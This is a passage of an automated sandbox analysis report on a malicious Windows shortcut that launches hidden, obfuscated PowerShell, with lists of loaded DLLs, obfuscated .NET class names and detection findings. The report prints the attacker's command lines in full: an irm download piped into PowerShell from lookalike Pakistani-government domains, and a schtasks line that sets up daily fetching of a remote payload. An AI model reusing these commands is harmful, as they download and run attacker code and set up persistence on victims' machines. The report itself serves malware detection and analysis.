Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: websocket.dll

Source: BX7yRz7XqF.lnk

LNK file: ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: Microsoft.Powershell.PSReadline.pdbY source: powershell.exe, 0000000A.00000002.1474008637.000002487F140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 0000000A.00000002.1472696900.000002487ECEE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Adobe.pdb source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Adobe.pdb( source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000A.00000002.1472696900.000002487ED98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb@ source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 0000000A.00000002.1472696900.000002487ED98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb^ source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbPi source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F14A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb37-8B11-F424491E3931}\InprocServer328 source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\Z:\syscalls\amsi_trace64.amsi.csv.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000000A.00000002.1474008637.000002487F14A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdb+ source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	.Net Code: Type.GetTypeFromHandle(JyrbaQ4wAZuS14vdfkV.Ao6N8FHwSP(16777284)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(JyrbaQ4wAZuS14vdfkV.Ao6N8FHwSP(16777254)),Type.GetTypeFromHandle(JyrbaQ4wAZuS14vdfkV.Ao6N8FHwSP(16777327))})
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	.Net Code: Type.GetTypeFromHandle(JyrbaQ4wAZuS14vdfkV.Ao6N8FHwSP(16777284)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(JyrbaQ4wAZuS14vdfkV.Ao6N8FHwSP(16777254)),Type.GetTypeFromHandle(JyrbaQ4wAZuS14vdfkV.Ao6N8FHwSP(16777327))})

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.EXE -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFAAC4900BD pushad ; iretd	0_2_00007FFAAC4900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC48776A pushad ; iretd	10_2_00007FFAAC48785D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC48785E push eax; iretd	10_2_00007FFAAC48786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC4800BD pushad ; iretd	10_2_00007FFAAC4800C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFAAC550EDE push ds; ret	10_2_00007FFAAC550EDF

Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	High entropy of concatenated method names: 'SoenpAHEgXxkACBkrHF', 'IUobe2He6QkgC4jRF2l', 'wZsmTM3p4y', 'crYcw1HAUDvLY3RuwxL', 'Rq6dNsH7AxAr5cRaJ0E', 'KJlIfrHlKOxu1r5aHfB', 'if29hHHRI3MVvrdYSv8', 'w8YIvIHaQpacX1kAh2c', 'WgnVroHB46wfCn1uwxK', 'B26V5nHi0scRH1mePWV'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, vuIfaIYIpZ8a74JL1JL.cs	High entropy of concatenated method names: 'so5LQ5b0pe', 'hAILrQmZ9F', 'R24Lm6paaQ', 'epdL4CeL3o', 'aIILsq7uOV', 'PtTLg33DgO', 'fCldGn9kjwyKP01lQkq', 'E0OPhy9QZesmt95BBWd', 'nRP6wd9rZui9EVEqm8R', 'tMIgFg9mlQHftg95xdZ'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, WsClient.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'ugMtKmBKAiyXTnqh7jw', 'hU5x4KB8iu3yD3y5BP1', 'rw0Vo1BIgFEw6JjiPfP', 'w3XxeRBTPYVf4jLOZjR', 'MoveNext', 'MoveNext'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, RijndaelEncryptor.cs	High entropy of concatenated method names: 'Encrypt', 'Decrypt', 'gLj2yFBp0JwocFUqF5a', 'axVtwTB2fh5LRjPsDgr', 'bfaue6BoOHSinOY0U9p', 'Fw6jQ1BWtoEQRyCsG8o', 'mCAid1BsEOXuMOBq0Rd', 'h97e37BgT9Cja1VfpxK', 'RNQuS4Bd3cLv2SotDnu'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, Sign.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'k6d2Vki9cYHAPgpDnG7', 'j5huUciyG9RAw3o5erl', 'sxt9x8itL8XUwbZFMYI', 'MoveNext', 'MoveNext', 'SetStateMachine'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, PvPREnlO66xbF75rA6.cs	High entropy of concatenated method names: 'svMa0uPlW', 'tIEBEEo4a', 'VkqixjgcO', 'TgqvIRL7B', 'qioNtiBeIuSmZ1FPYUQ', 'FReZgoBCxkdrVlPOsmX', 'XXrZPQB1DbSNH3x4F0d', 'vNwwRvBGPnXBAI2TISJ', 'Q1uySJBfy0M7FlZKH0h', 'KnTh8sBE0K7X05j3N76'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, PyouRJ4V8xbHiGjOXDJ.cs	High entropy of concatenated method names: 'mApWxXxvMB', 'iwWWjOcxcH', 'a06WznSbKA', 'iswd32iZWB', 'YY4dYaVZ8M', 'qxJdLqLfsh', 'dmydkcYnBC', 'wCZsm4VHrY', 'vt9dQ9ZS3D', 'GywdrloPQN'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, gC47ViYYR0A1mLLPoUJ.cs	High entropy of concatenated method names: 'j4sYkbPGYS', 'f3BYQPiTVw', 'ljiYrqWiax', 'doIYmEwG2k', 'UCfY4OLTIh', 'ShMm4Fiq6CP2k9BFxgX', 'npNTIliOH4l3Dybsfd2', 'sf8Y68iTGBZG5OXGeN0', 'KKpB0ci5eoPFLe6EiOF', 'QcVgLWixLwwdYc9db7E'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, xoR3WRYdQIiY1KUtohJ.cs	High entropy of concatenated method names: 'sbHvxvyoPlZhAf7GYao', 'umWoWsyWDvdk2pXad6W', 'k85KDkyphFo6t0Kwl0k', 'ek7qNuy2RRDux4sVm8x', 'bp0NCyydvPdTkbNrQxt', 'a6MYf0rYnC', 'WTaYE77a3U', 'AtXYeIOl1v', 'PXgYCBpO00', 'Ba1Y1mSVhv'
Source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, xPDZ4aOFhJspDwMcqp.cs	High entropy of concatenated method names: 'XVJj0rXmB', 'ynfyk5iHe4iSLSCqxvn', 'TeiH4Ji687cQIrhINbN', 'AuOofHib2AQKPmukoLZ', 'nBMOMiiuS5wORvwYIWP', 'qOSKTWiFfkw12qH7aU8', 'gAQKj3iX9wsJYin0FMp', 'IWO1DsihoPiOBlv5cFl'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, SadyrWrGPJB6lfcrNhY.cs	High entropy of concatenated method names: 'SoenpAHEgXxkACBkrHF', 'IUobe2He6QkgC4jRF2l', 'wZsmTM3p4y', 'crYcw1HAUDvLY3RuwxL', 'Rq6dNsH7AxAr5cRaJ0E', 'KJlIfrHlKOxu1r5aHfB', 'if29hHHRI3MVvrdYSv8', 'w8YIvIHaQpacX1kAh2c', 'WgnVroHB46wfCn1uwxK', 'B26V5nHi0scRH1mePWV'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, vuIfaIYIpZ8a74JL1JL.cs	High entropy of concatenated method names: 'so5LQ5b0pe', 'hAILrQmZ9F', 'R24Lm6paaQ', 'epdL4CeL3o', 'aIILsq7uOV', 'PtTLg33DgO', 'fCldGn9kjwyKP01lQkq', 'E0OPhy9QZesmt95BBWd', 'nRP6wd9rZui9EVEqm8R', 'tMIgFg9mlQHftg95xdZ'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, WsClient.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'ugMtKmBKAiyXTnqh7jw', 'hU5x4KB8iu3yD3y5BP1', 'rw0Vo1BIgFEw6JjiPfP', 'w3XxeRBTPYVf4jLOZjR', 'MoveNext', 'MoveNext'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, RijndaelEncryptor.cs	High entropy of concatenated method names: 'Encrypt', 'Decrypt', 'gLj2yFBp0JwocFUqF5a', 'axVtwTB2fh5LRjPsDgr', 'bfaue6BoOHSinOY0U9p', 'Fw6jQ1BWtoEQRyCsG8o', 'mCAid1BsEOXuMOBq0Rd', 'h97e37BgT9Cja1VfpxK', 'RNQuS4Bd3cLv2SotDnu'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, Sign.cs	High entropy of concatenated method names: 'MoveNext', 'MoveNext', 'SetStateMachine', 'SetStateMachine', 'k6d2Vki9cYHAPgpDnG7', 'j5huUciyG9RAw3o5erl', 'sxt9x8itL8XUwbZFMYI', 'MoveNext', 'MoveNext', 'SetStateMachine'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, PvPREnlO66xbF75rA6.cs	High entropy of concatenated method names: 'svMa0uPlW', 'tIEBEEo4a', 'VkqixjgcO', 'TgqvIRL7B', 'qioNtiBeIuSmZ1FPYUQ', 'FReZgoBCxkdrVlPOsmX', 'XXrZPQB1DbSNH3x4F0d', 'vNwwRvBGPnXBAI2TISJ', 'Q1uySJBfy0M7FlZKH0h', 'KnTh8sBE0K7X05j3N76'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, PyouRJ4V8xbHiGjOXDJ.cs	High entropy of concatenated method names: 'mApWxXxvMB', 'iwWWjOcxcH', 'a06WznSbKA', 'iswd32iZWB', 'YY4dYaVZ8M', 'qxJdLqLfsh', 'dmydkcYnBC', 'wCZsm4VHrY', 'vt9dQ9ZS3D', 'GywdrloPQN'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, gC47ViYYR0A1mLLPoUJ.cs	High entropy of concatenated method names: 'j4sYkbPGYS', 'f3BYQPiTVw', 'ljiYrqWiax', 'doIYmEwG2k', 'UCfY4OLTIh', 'ShMm4Fiq6CP2k9BFxgX', 'npNTIliOH4l3Dybsfd2', 'sf8Y68iTGBZG5OXGeN0', 'KKpB0ci5eoPFLe6EiOF', 'QcVgLWixLwwdYc9db7E'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, xoR3WRYdQIiY1KUtohJ.cs	High entropy of concatenated method names: 'sbHvxvyoPlZhAf7GYao', 'umWoWsyWDvdk2pXad6W', 'k85KDkyphFo6t0Kwl0k', 'ek7qNuy2RRDux4sVm8x', 'bp0NCyydvPdTkbNrQxt', 'a6MYf0rYnC', 'WTaYE77a3U', 'AtXYeIOl1v', 'PXgYCBpO00', 'Ba1Y1mSVhv'
Source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, xPDZ4aOFhJspDwMcqp.cs	High entropy of concatenated method names: 'XVJj0rXmB', 'ynfyk5iHe4iSLSCqxvn', 'TeiH4Ji687cQIrhINbN', 'AuOofHib2AQKPmukoLZ', 'nBMOMiiuS5wORvwYIWP', 'qOSKTWiFfkw12qH7aU8', 'gAQKj3iX9wsJYin0FMp', 'IWO1DsihoPiOBlv5cFl'

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
